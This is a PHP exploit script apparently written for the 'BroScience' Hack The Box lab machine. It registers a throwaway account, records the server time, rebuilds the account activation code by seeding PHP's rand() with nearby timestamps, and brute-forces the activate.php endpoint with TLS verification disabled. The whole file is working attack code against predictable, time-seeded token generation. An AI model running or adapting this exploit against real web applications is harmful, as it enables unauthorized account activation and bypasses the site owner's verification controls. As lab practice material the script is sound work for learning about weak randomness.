<?php 
$username = "user" . rand(1,9999);
$email = $username . "@mail.com";
$password = "password";


$url = 'https://broscience.htb/register.php';

//username=user1&email=user1%40email.com&password=password&password-confirm=password
$data = array('username' => $username, 'email' => $email, 'password' => $password, 'password-confirm' => $password);
echo implode(" ",$data). "\n";
// use key 'http' even if you send the request to https://...
$options = array(
    "ssl"=>array(
    "verify_peer"=>false,
    "verify_peer_name"=>false,
),
    'http' => array(
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data),
    )
);

$tstart = time();

$context  = stream_context_create($options);
$result = file_get_contents($url, false, $context,);

$tend = time();

echo $tend . " - " . $tstart . " = " . $tend - $tstart . "\n";

function generate_activation_code($t) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($t);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

function check($code){

    $url = "https://broscience.htb/activate.php?code=" . $code;

    $options = array(
        "ssl"=>array(
        "verify_peer"=>false,
        "verify_peer_name"=>false,
    ),
        'http' => array(
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'GET',
        )
    );
    
    $tstart = time();
    
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false, $context,);
    if ($result === FALSE) { /* Handle error */ }

    if(str_contains($result, "Invalid activation code.")){
        return false;
    }
    return true;
}
echo $tstart . " -> ";
$tstart = $tstart - 5;
$code = generate_activation_code($tstart);

while(!check($code)){
    $tstart = $tstart + 1;
    $code = generate_activation_code($tstart);
}
echo $tstart . "\n";
echo $code


?>